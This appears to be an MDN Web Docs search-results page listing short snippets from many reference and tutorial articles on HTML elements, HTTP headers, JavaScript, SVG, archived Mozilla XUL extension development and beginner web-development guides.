... </dd> <dd> the red panda also known as the lesser panda, wah, bear cat or firefox, is a mostly herbivorous mammal, slightly larger than a domestic cat (60 cm long).
...because of this, make sure each list item's content is written in such a way that it communicates its relationship to the other list items in the list grouping.
...And 3 more matches
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
accept comma-separated content types the server accepts.
... (in previous versions of html, character encodings could also be delimited by commas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized.
... this value is overridden by formmethod attributes on <button>, <input type="submit">, or <input type="image"> elements.
...And 3 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
loading indicates how the browser should load the iframe: eager: load the iframe immediately, regardless if it is outside the visible viewport (this is the default value).
...cross-origin communication can be achieved using window.postmessage().
... specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...And 3 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
events change and input supported common attributes checked idl attributes checked, indeterminate and value methods select() value a domstring representing the value of the checkbox.
... additional attributes in addition to the common attributes shared by all <input> elements, "checkbox" inputs support the following attributes: attribute description checked boolean; if present, the checkbox is toggled on by default indeterminate a boolean which, if present, indicates that the value of the checkbox is indeterminate rather than true or false value the string to use as the va...
...let's now look at the other common checkbox-related features and techniques you'll need.
...And 3 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
supported common attributes alt, src, width, height, formaction, formenctype, formmethod, formnovalidate, formtarget idl attributes none.
...tional attributes in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from whic...
... formmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form.
...And 3 more matches
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails...
... note: the following input attributes do not apply to the input range: accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget, height, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, src, and width.
... a few examples of situations in which range inputs are commonly used: audio controls such as volume and balance, or filter controls.
...And 3 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
typical values for this include a period (".") or comma (",") when attempting to align numbers or monetary values.
... the "joined" and "canceled" headers let's style these two header cells with green and red hues to represent the "good" of a new member and the "bummer" of a canceled membership.
... color every body other row differently it's common to help improve readability of table data by alternating row colors.
...And 3 more matches
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
WebHTMLElementu
examples indicating a spelling error this example uses the <u> element and some css to display a paragraph which includes a misspelled error, with the error indicated in the red wavy underline style which is fairly commonly used for this purpose.
...this is a common styling for spelling errors.
... another common style can be presented using red dashed underline.
...And 3 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
there are no special considerations for styling <video>; a common strategy is to give it a display value of block to make it easier to position, size, etc., and then provide styling and layout information as required.
... <!-- using multiple sources as fallbacks for a video tag --> <!-- 'elephants dream' by orange open movie project studio, licensed under cc-3.0, hosted by archive.org --> <!-- poster hosted by wikimedia --> <video width="620" controls poster="https://upload.wikimedia.org/wikipedia/commons/e/e8/elephants_dream_s5_both.jpg" > <source src="https://archive.org/download/elephantsdream/ed_1024_512kb.mp4" type="video/mp4"> <source src="https://archive.org/download/elephantsdream/ed_hd.ogv" type="video/ogg"> <source src="https://archive.org/download/elephantsdream/ed_hd.avi" type="video/avi"> your browser doesn't support html5 video tag.
...the most common video file type extensions are ".ogm", ".ogv", or ".ogg".
...And 3 more matches
accesskey - HTML: Hypertext Markup Language
ie/edge uses the first one it supports without problems, provided there are no conflicts with other commands.
... webaim: keyboard accessibility - accesskey specifications specification status comment html 5.2the definition of 'accesskey' in that specification.
... recommendation more realistic behavior described for what is implemented in reality.
...And 3 more matches
lang - HTML: Hypertext Markup Language
the default value of lang is unknown, therefore it is recommended to always specify this attribute with the appropriate value.
...the 3 most common subtags are: language subtag required.
... specifications specification status comment html living standardthe definition of 'lang' in that specification.
...And 3 more matches
style - HTML: Hypertext Markup Language
note that it is recommended for styles to be defined in a separate file or files.
... specifications specification status comment html living standardthe definition of 'style' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'style' in that specification.
...And 3 more matches
List of default Accept values - HTTP
user agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.default par...
... user agent value comment firefox image/webp,*/* (since firefox 65) */* (since firefox 47) image/png,image/*;q=0.8,*/*;q=0.5 (before) this value can be modified using the image.http.accept parameter.
... user agent value comment firefox earlier than 3.6 no support for <video> firefox 3.6 and later video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5 see bug 489071 source chrome */* source internet explorer 8 or earlier no support for <video> values for audio resources when an audio file is requested, like via the <audio> ...
...And 3 more matches
Content-Security-Policy - HTTP
therefore it is recommended to restrict this fetch-directive (e.g., explicitly set object-src 'none' if possible).
... specifications specification status comment content security policy level 3 working draft adds manifest-src, navigate-to, report-to, strict-dynamic, worker-src.
... mixed content candidate recommendation adds block-all-mixed-content.
...And 3 more matches
Equality comparisons and sameness - JavaScript
(the only case in which (x !== x) is true is when x is nan.) loose equality using == loose equality compares two values for equality, after converting both values to a common type.
...loose equality is symmetric: a == b always has identical semantics to b == a for any values of a and b (except for the order of applied conversions).
...(this use case demonstrates an instance of the liskov substitution principle.) one instance occurs when an attempt is made to mutate an immutable property: // add an immutable negative_zero property to the number constructor.
...And 3 more matches
Expressions and operators - JavaScript
assignment operators comparison operators arithmetic operators bitwise operators logical operators string operators conditional (ternary) operator comma operator unary operators relational operators javascript has both binary and unary operators, and one special ternary operator, the conditional operator.
...these operators work as they do in most other programming languages when used with floating point numbers (in particular, note that division by zero produces infinity).
... the following table summarizes javascript's bitwise operators.
...And 3 more matches
Memory Management - JavaScript
memory life cycle regardless of the programming language, the memory life cycle is pretty much always the same: allocate the memory you need use the allocated memory (read, write) release the allocated memory when it is not needed anymore the second part is explicit in all languages.
... allocation in javascript value initialization in order to not bother the programmer with allocations, javascript will automatically allocate memory when values are initially declared.
... var d = new date(); // allocates a date object var e = document.createelement('div'); // allocates a dom element some methods allocate new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a new string // since strings are immutable values, // javascript may decide to not allocate memory, // but just store the [0, 3] range.
...And 3 more matches
SyntaxError: missing variable name - JavaScript
or maybe a comma is wrong.
...probably a comma is wrong somewhere or you struggled with coming up with a name.
... check to ensure the previous lines / declaration does not end with a comma instead of a semi-colon.
...And 3 more matches
Promise.all() - JavaScript
it rejects immediately upon any of the input promises rejecting or non-promises throwing an error, and will reject with this first rejection message / error.
...it is typically used when there are multiple asynchronous tasks that are dependent on one another to complete successfully, as it does not wait and will reject immediately upon any of the input promises rejecting.
... synchronicity of promise.all this following example demonstrates the asynchronicity (or synchronicity, if the iterable passed is empty) of promise.all: // we are passing as argument an array of promises that are already resolved, // to trigger promise.all as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.all(resolvedpromisesarray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function() { console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: array[2] } the same thing happens if promise.all rejects: var mixedp...
...And 3 more matches
<mo> - MathML
WebMathMLElementmo
besides operators in strict mathematical meaning, this element also includes "operators" like parentheses, separators like comma and semicolon, or "absolute value" bars.
... separator there is no visual effect for this attribute, but it specifies whether the operator is a separator (such as commas).
... symmetric if stretchy is true, this attribute specifies whether the operator should be vertically symmetric around the imaginary math axis (centered fraction line).
...And 3 more matches
cx - SVG: Scalable Vector Graphics
WebSVGAttributecx
<stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cx' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cx' in that specification.
... candidate recommendation definition for svg2 paint servers.
...And 3 more matches
cy - SVG: Scalable Vector Graphics
WebSVGAttributecy
<stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cy' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cy' in that specification.
... candidate recommendation definition for svg2 paint servers.
...And 3 more matches
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a comma and a group of coordinates by a space.
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
... candidate recommendation definition for <polygon> scalable vector graphics (svg) 2the definition of 'points' in that specification.
...And 3 more matches
Private Properties - Archive of obsolete content
this article discusses two common techniques: one using prefixes, the other closures.
...it is possible to read this section on its own, but to fully appreciate how namespaces work, and the problem they set out to solve, it is recommended to read the entire article.
... using prefixes a common technique to implement private properties is to prefix each private property name with an underscore.
...And 2 more matches
Two Types of Scripts - Archive of obsolete content
your add-on is implemented as a collection of one or more commonjs modules.
... api access for add-on code and content scripts the table below summarizes the apis that are available to each type of script.
... ✔ ✔ the require() and exports globals defined by version 1.0 of the commonjs module specification.
...And 2 more matches
Low-Level APIs - Archive of obsolete content
/loader create commonjs module loaders.
... core/promise implementation of promises to make asynchronous programming easier.
... remote/child enables an sdk module loaded into a child process to access web content in the child process and communicate with modules in the main process.
...And 2 more matches
Appendix D: Loading Scripts - Archive of obsolete content
below is an overview of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases.
...these tags are generally inserted into xul overlay files or other xul documents, after which they are automatically loaded into the context of the xul window in question and executed immediately and synchronously.
...problems can ensue if the script immediately attempts to access dom nodes.
...And 2 more matches
Custom XUL Elements with XBL - Archive of obsolete content
<content> <xul:hbox> <xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /> <xul:vbox flex="1"> <xul:label xbl:inherits="value=name" /> <xul:description xbl:inherits="value=greeting" /> </xul:vbox> <xul:vbox> <xul:button label="&xulshoolhello.remove.label;" accesskey="&xulshoolhello.remove.accesskey;" oncommand="document.getbindingparent(this).remove(event);" /> </xul:vbox> </xul:hbox> </content> our element is very simple, displaying an image, a couple of text lines and a button.
... the oncommand attribute of the button has some code you've probably never seen before: document.getbindingparent(this).
...but you can still keep some separation and versatility by using custom events to communicate to the outside world.
...And 2 more matches
Promises - Archive of obsolete content
promise apis for common asynchronous operations due to the performance and stability costs of synchronous io, many apis which rely on it have been deprecated.
... the following page contains examples of many promise-based replacement apis for common operations.
... yield db.close(); } }); promise wrappers and helpers the following are some example promise-based wrappers for common callback-based asynchronous apis.
...And 2 more matches
Adding preferences to an extension - Archive of obsolete content
next, we call our own refreshinformation() method to immediately fetch and display the current information about the stock the extension is configured to monitor.
... once we've gotten the updated preference, we call refreshinformation() to immediately update the display with the new stock's information.
... watchstock() while we're at it, let's add a method that sets which stock we want to be watching, changing the preference and immediately requesting a refresh of the display.
...And 2 more matches
Case Sensitivity in class and id Names - Archive of obsolete content
summary: although css is itself case-insensitive, class and id names are defined to be case-sensitive in html 4.01.
...the most common case is where the name uses different case in the document source than is found in the css or javascript.
...thus, the mozilla team, committed to following open standards as closely as possible, implemented both class and id names as case-sensitive values.
...And 2 more matches
List of Mozilla-Based Applications - Archive of obsolete content
aviva for java mainframe connectivity product uses mozilla rhino babelgum internet tv service basilisk pre-servo xul-based web browser uses most of the firefox 55 source code batik java-based toolkit uses mozilla rhino bitbox security focused browser seemingly based on firefox blackbird browser for african american community bluegriffon wysiwyg editor next generation version of composer buzzbird twitter client built on xulrunner camino browser 2.5m downloads and ~400,000 active users ...
...for remote control device uses gre or xulrunner longman dictionary of contemporary english cd-rom lotus notes / sametime groupware the latest version of ibm lotus notes and sametime can embed xul applications lucidor e-book reader lx-office accounting tool looks like it makes at least some use of xul maavis simple ui & communications for accessibility framework designed for elderly people with dementia but other applications mac os x operating system makes use of some mpl files such as libsecurity_asn1 maemo browser browser for maemo internet tablet development name is microb magooclient business process management tool uses mozilla rhino mantra security to...
... simple apps for maemo uses xulrunner moznet .net control embeddable gecko for .net applications wraps xulrunner for use in .net applications my internet browser localized browser uses gecko myna application server javascript application server for java uses mozilla rhino nextcms (fr) cms nightingale music player community run effort to continue songbird support for linux olpc web browser browser oneteam jabber client opendocument viewer viewer opengate's tools cd burner, file browser, and hardware diagnostic softwares opengate is the opensource side of the easyneuf project, “a free software computer, easy and preinstalled” open mashup...
...And 2 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
other major commercial browsers based on gecko have committed to providing these keys as well.
...future mozilla based browsers won't distinguish between plugins and components, and will pick both up from a common location.
...these keys are discussed in bug 109402#c8, comment 8.
...And 2 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
most additions are provided with a default tree structure, although not required it is recommended to use this structure.
...chrome/locale/emptysidebar.dtd <!entity emptysidebar.title "emptysidebar"> <!entity openemptysidebar.commandkey "e"> <!entity openemptysidebar.modifierskey "shift accel"> the content folder includes our sidebar, the emptysidebar.xul is shown in example 3.
...<?xml version="1.0"?> <!doctype overlay system "chrome://emptysidebar/locale/emptysidebar.dtd"> <overlay id="emptysidebaroverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="viewsidebarmenu"> <menuitem key="key_openemptysidebar" observes="viewemptysidebar" /> </menupopup> <keyset id="mainkeyset"> <key id="key_openemptysidebar" command="viewemptysidebar" key="&openemptysidebar.commandkey;" modifiers="&openemptysidebar.modifierskey;" /> </keyset> <broadcasterset id="mainbroadcasterset"> <broadcaster id="viewemptysidebar" label="&emptysidebar.title;" autocheck="false" type="checkbox" group="sidebar" sidebarurl="chrom...
...And 2 more matches
Getting Started - Archive of obsolete content
classic.jar locations linux: folder_with_seamonkey/chrome/classic.jar windows: folder_with_seamonkey\chrome\classic.jar for mac os x: folder_with_seamonkey/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is recommended -- extract the contents of that folder, being sure to maintain the directory structure.
...skin\classic\communicator communicator contains all the toolbar icons, as well as the icons for the bookmark manager and the preferences window.
...into this directory put a zip archive called my_theme.jar containing navigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories from above.
...And 2 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
go to contents/macos/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is recommended -- extract the contents of that folder, being sure to maintain the directory structure.
... skin\classic\communicator doesn't do a whole lot and can typically be forgotten about promptly.
...into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and preview.png files.
...And 2 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
this flag causes the nsblockreflowstate's constructor to set the brs_istopmarginroot and brs_isbottommarginroot flags.
... nshtmlreflowmetrics the structure that is "filled in" by a frame during reflow, and is used to communicate the frame's desired size information back to its container.
... mmaximumwidth the maximum width that the frame would consume if it were reflowed with an unconstrained available width.
...And 2 more matches
Metro browser chrome tests - Archive of obsolete content
the metro browser chrome test suite is an automated testing framework designed to allow testing of the immersive version of firefox for windows 8 and above using javascript.
... it currently allows you to run javascript code in the same scope as the immersive browser and report results using the same functions as the mochitest test framework.
... running the metro browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest-metro this will launch metro browser chrome tests in the default immersive browser.
...And 2 more matches
Monitoring downloads - Archive of obsolete content
as a nice bonus, it also demonstrates how to use the storage api to issue sqlite commands on a database.
...the database file is opened, and an sqlite create table command is executed to create the table.
... in that case, we create a new row in our database for the new file by opening the database and building a replace into sqlite command.
...And 2 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
flexible programming interfaces such as the web shell api, the java wrapper api and the gecko activex control make gecko easily embeddable into applications and devices.
...in addition, independent software developers and corporate information technology departments now have complete access to the modular source code and freedom to freely license the source, make changes and build customized versions to accommodate their individual needs.
...its provides a generic and extensible framework for fetching urls with support for common protocols (http, ftp, file, etc.) and a way to plug in custom protocol handlers.
...And 2 more matches
Using gdb on wimpy computers - Archive of obsolete content
gdb has a command to load libraries while the program is running.
... this is the sharedlibrary command.
...the argument to the command is a regular expression for the libraries to be loaded.
...And 2 more matches
buttons - Archive of obsolete content
« xul reference home buttons type: comma-separated list of the values below a comma-separated list of buttons to appear in the dialog box.
...you can set its label with the buttonlabelextra1 attribute and its command with the ondialogextra1 attribute.
...you can set its label with the buttonlabelextra2 attribute and its command with the ondialogextra2 attribute.
...And 2 more matches
Extensions - Archive of obsolete content
<popup id="contentareacontextmenu"> <menuitem id="thumbnail-show" label="view thumbnail" oncommand="thumbnails.view();"/> </popup> note that the popup element is used rather than the menupopup element as this is the element that firefox uses.
...for example, the following may be used to insert a command just after the 'select all' command: <popup id="contentareacontextmenu"> <menuitem label="select links" oncommand="thumbnails.selectalllinks();" insertafter="context-selectall"/> </popup> see firefox context menu for a list of the ids of the items found on the firefox context menu.
...this allows the menu to have different commands for different types of targets.
...And 2 more matches
Skinning XUL Files by Hand - Archive of obsolete content
the following table shows the basic format for these two common types of style definitions: class id element.class { attribute: value; } element#id { attribute: value; } menu.baseline { border: 0px; font-size: 9pt; } menu#edit { color: red; } other style subgroups contextualsubgroups -- elements appearing within other elements, such as italicized text anywhere within a <p> element or a...
... <div> -- can be grouped in css, but this is an extremely inefficient way to style xul, and is frowned upon in the mozilla development community (again, refer to the skinning guidelines in writing skinnable xul and css for more info); css2 also provides some new ways to group elements for styling, which we summarize briefly here, because they appear in mozilla with some frequency, but reserve for another article: pseudo-class parent-child element:pseudo-class { attribute: value; } parent > child { attribute: value; } button:hover { border: 1px; } menu#file > menuitem { font-weight: bold; } pseudo-classes reflect states of the element: when the mouse moves over a button, for example, the appropriate pseudo-class styleshee...
... on to the actual global.css file: after some comments, the css file contains basic style information for the <window> and <dialog> elements.
...And 2 more matches
Using the Editor from XUL - Archive of obsolete content
for command state maintenance, starting and stopping the throbber etc.).
...this editor command dispatching is described separately.
...for text widgets and composer): nstexteditorkeylistener (as a nsidomkeylistener) nstexteditormouselistener (as a nsidommouselistener) nstexteditorfocuslistener (as a nsidomfocuslistener) nstexteditortextlistener (as a nsidomtextlistener) nstexteditorcompositionlistener (as a nsidomcompositionlistener) nstexteditordraglistener (as a nsidomdraglistener) in nseditorshell::preparedocumentforediting(), we install a mouse listener.
...And 2 more matches
XUL element attributes - Archive of obsolete content
« xul reference home the following attributes are common to all xul elements: align type: one of the values below the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children.
...this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
...this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
...And 2 more matches
XUL Coding Style Guidelines - Archive of obsolete content
while some of the guidelines are recommended practices, the others are mandatory.
...other guidelines mentioned in xhtml 1.1 recommendation.
...some files live in the tree but aren't really part of the build; they're just there as programming examples or a kind of source documentation.
...And 2 more matches
dialog - Archive of obsolete content
buttons type: comma-separated list of the values below a comma-separated list of buttons to appear in the dialog box.
... note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single comma).
...if it is set to true any changes to settings are supposed to be applied immediately.
...And 2 more matches
menu - Archive of obsolete content
ArchiveMozillaXULmenu
attributes acceltext, accesskey, allowevents, command, crop, disabled, image, label, menuactive, open, sizetopopup, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, itemcount, label, labelelement, menupopup, open, parentcontainer, selected, tabindex, value methods appenditem, getindexofitem, getitematindex, insertitemat, removeitemat style classes menu-iconic example <menubar id="sample...
...> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 2 more matches
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.builds - october 28th to november 3rd 2006 no such file or directory (build problem on winxp) november 2nd: kenoa complained that when he is compiling using cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he claims that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base from sept.
... problem compiling with vs 2003 .net phil is trying to compile firefox for the first time and is getting an error when doing so: building deps for /cygdrive/c/mozilla/toolkit/airbag/airbag/src/common/windows/guid_string.cc make[1]: leaving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1.
...(http://www.google.com/url?sa=d&q=htt...tail%3fid%3d64) gavin recommended that phil should add |ac_add_options --disable-airbag| to his .mozconfig.
...And 2 more matches
Sunbird Theme Tutorial - Archive of obsolete content
sunbird also contains communicator, global, help and mozapps components.
...in your <tt>chrome.manifest</tt> file, add lines like this: skin communicator testing chrome/communicator/ skin global testing chrome/global/ skin help testing chrome/help/ skin mozapps testing chrome/mozapps/ replacing <tt>testing</tt> with your theme's one-word internal name as before.
...for example, when i wrote this article i used this command in my theme directory: zip -0r testing-0.1.jar .
...And 2 more matches
@cc_on - Archive of obsolete content
the @cc_on statement activates conditional compilation support within comments in a script.
... syntax @cc_on remarks the @cc_on statement activates conditional compilation within comments in a script.
... it is not common to use conditional compilation variables in scripts written for asp or asp.net pages or command-line programs because the capabilities of the compilers can be determined by using other methods.
...And 2 more matches
Old Proxy API - Archive of obsolete content
introduction proxies are objects for which the programmer has to define the semantics in javascript.
...proxies let the programmer define most of the behavior of an object in javascript.
... they are said to provide a meta-programming api.
...And 2 more matches
Reference - Archive of obsolete content
well if you combine the two, you can have inherited private variables: function myclass(){ var property = 5; this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply( this ); } var o = new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect — the preceding comment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix.
...since it's been 9 months since the last comment on this, i think i'll go ahead and change all of the examples.
...--george3 11:47, 14 sept 2006 (edt) sgml comment hiding quirks sgml comment hiding needs to be mentioned here and its consequences.
...And 2 more matches
XForms Custom Controls - Archive of obsolete content
work has just started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and common way to customize your form's user interface across all xforms processors.
...we recommend that you use this attribute to create the css binding rule for your custom control.
...please see the comments in the source .idl file for more information on using this method.
...And 2 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
the object element: w3c standards and cross-browser issues the object element is part of the html 4.01 specification, and is the recommended mechanism to invoke plugins.
... recommendation in order to overcome the shortcomings that you can't nest object elements in ie and that there isn't a way you can simply use one object element in a cross-browser way (with architecture specific obtainment mechanisms), the best course of action is to dynamically write object elements based on architecture.
...unlike netscape communicator 4.x, netscape 6.x and 7 do not have a default java virtual machine -- they rely on sun's plugin.
...And 2 more matches
Archive of obsolete content
mmgc mmgc is the tamarin (née macromedia) garbage collector, a memory management library that has been built as part of the avm2/tamarin effort.
... newsgroup summaries obsolete: xpcom-based scripting for npapi plugins plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in the new world.
...we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers.
...And 2 more matches
2D maze game with device orientation - Game development
basic javascript knowledge is recommended to get the most from this tutorial.
...it’s quite new, but growing rapidly thanks to the passionate community involved in the development process.
...here’s the code from the create() function responsible for this: window.addeventlistener("deviceorientation", this.handleorientation, true); we’re adding an event listener to the "deviceorientation" event and binding the handleorientation function which looks like this: handleorientation: function(e) { var x = e.gamma; var y = e.beta; ball._player.body.velocity.x += x; ball._player.body.velocity.y += y; }, the more you tilt the device, the more force is applied to the ball, therefore the faster it moves (the velocity is higher).
...And 2 more matches
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
networking and communications asynchronous communication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon receipt.
... for humans, e-mail is an asynchronous communication method; the sender sends an email and the recipient will read and reply to the message when it's convenient to do so, rather than doing so at once.
... when software communicates asynchronously, a program may make a request for information from another piece of software (such as a server), and continue to do other things while waiting for a reply.
...And 2 more matches
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
summary javascript (or "js") is a programming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as node.js.
... javascript should not be confused with the java programming language.
...and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases.
...And 2 more matches
Public-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
public-key cryptography — or asymmetric cryptography — is a cryptographic system in which keys come in pairs.
...this gives public-key encryption systems an advantage over symmetric encryption systems in that the encryption key can be made public.
...however, they are typically much slower than symmetric algorithms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages.
...And 2 more matches
CSS and JavaScript accessibility best practices - Learn web development
css and javascript don't have the same immediate importance for accessibility as html, but they are still able to help or damage accessibility, depending on how they are used.
...using correct semantics has a lot to do with user expectations — elements look and behave in certain ways, according to their functionality, and these common conventions are expected by users.
...the following sections summarize the main html features to consider.
...And 2 more matches
Beginner's guide to media queries - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study css first steps and css building blocks.) objective: to understand how to use media queries, and the most common approach for using them to create responsive designs.
...the value none means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands.
... "or" logic in media queries if you have a set of queries, any of which could match, then you can comma separate these queries.
...And 2 more matches
Multiple-column layout - Learn web development
proin blandit quam nec lacus varius commodo et a urna.
...proin blandit quam nec lacus varius commodo et a urna.
...proin blandit quam nec lacus varius commodo et a urna.
...And 2 more matches
Positioning - Learn web development
to try this out, add the following declarations to the .positioned rule in your css: top: 30px; left: 30px; note: the values of these properties can take any units you'd logically expect — pixels, mm, rems, %, etc.
...proin blandit quam nec lacus varius commodo et a urna.
...proin blandit quam nec lacus varius commodo et a urna.
...And 2 more matches
Styling lists - Learn web development
the unstyled example is available on github (check out the source code too.) the html for our list example looks like so: <h2>shopping (unordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ul> <li>hummus</li> <li>pita</li> <li>green salad</li> <li>halloumi</li> </ul> <h2>recipe (ordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned o...
...n both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> <h2>ingredient description list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <dl> <dt>hummus</dt> <dd>a thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> <dt>pita</dt> <dd>a soft, slightly leavened flatbread.</dd> <dt>halloumi</dt> <dd>a semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd> <dt>green salad</dt> <dd>that green healthy stuff that many of us just use to garnish kebabs.</dd> </dl> if you go t...
...the following example: <ol start="4"> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: reversed the reversed attribute will start the list counting down instead of up.
...And 2 more matches
How do you upload your files to a web server? - Learn web development
summary if you have built a simple web page (see html basics for an example), you will probably want to put it online, on a web server.
... it is seen as a more advanced tool than sftp, beause by default it is used on the command line.
... a basic command looks like so: rsync [-options] source user@x.x.x.x:destination -options is a dash followed by a one or more letters, for example -v for verbose error messages, and -b to make backups.
...And 2 more matches
How do you set up a local testing server? - Learn web development
open your command prompt (windows)/ terminal (macos/ linux).
